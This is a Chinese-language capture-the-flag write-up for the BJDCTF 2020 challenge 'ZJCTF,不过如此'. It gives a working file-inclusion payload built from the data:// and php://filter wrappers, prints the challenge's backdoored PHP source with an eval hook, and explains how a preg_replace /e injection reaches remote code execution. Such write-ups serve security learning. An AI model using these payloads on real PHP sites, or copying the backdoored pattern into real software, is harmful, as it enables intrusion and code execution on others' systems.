每日一题 —— [BJDCTF 2020]ZJCTF,不过如此¶
index.php¶
第一步是白盒,观察代码,发现我们要传入两个参数,一个是 text
,一个是 file
。为了让我们能够成功包含 next.php
, 我们需要满足函数 file_get_contents
可以从 text
参数中作为文件读取数据。我们使用 data
伪协议传入数据:
然后,我们通过同样的方法将 next.php
给包含进来。为了防止该 php 文件被解析,我们使用同样的方法包含这个文件,那么在该 index.php
文件下,最终 payload 为:
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php
将得到的 base64 数据丢进 CyberChef 中得到 next.php
的源代码:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
next.php¶
现在转到 next.php
文件,一片空白需要我们传参。注意到有一个 getFlag()
方法调用了一句话木马,但是主程序并没有入口调用它。观察到主程序调用了 complex
函数,而 complex
函数调用了 preg_replace
函数。注意到其中的正则表达式中有一个 e
修饰符,经过搜索,发现它是 php 已废弃的修饰符,会调用 eval
方法并执行第二个参数 —— replacement
的内容。因此从此入手。
解析 preg_replace
函数,发现它扫描每一个 GET 的键值对,将 key 作为扫描的字符串,包裹上小括号并传递给第二个参数。此步骤是正则表达式的反向引用。而 \\1
就代表读取此前扫描字符串中第一个小括号包裹的内容。总结就是:对于传入的每一个键值对,此函数会操作该 value
,将 key
作为扫描字符串并替换为 strtolower(key)
。此函数会执行 key
参数,并认为 key
为一个普通的字符串。
观察到 \\1
周围包裹的为双引号,此引号内会解析变量,并且变量内部可以执行一个函数命令。那么构造该键值对: \S*=${getFlag()}
其中,\S*
代表所有字符组成的字符串,可以包括 value
中的所有信息。而 ${getFlag()}
则会在解析变量的时候运行危险后门函数。因此同时我们就可以通过 cmd
参数实现 RCE。
最终 payload:
在输出中发现环境变量有 FLAG
变量。
ps: 不知道为什么,无论是 \S*
参数还是 cmd
参数,都无法直接运行 phpinfo()
函数,只要运行就会爆“连接已重置”的问题。不知道这个是服务器问题还是我的问题,毕竟别的函数都是可以使用的。
文章热度:0次阅读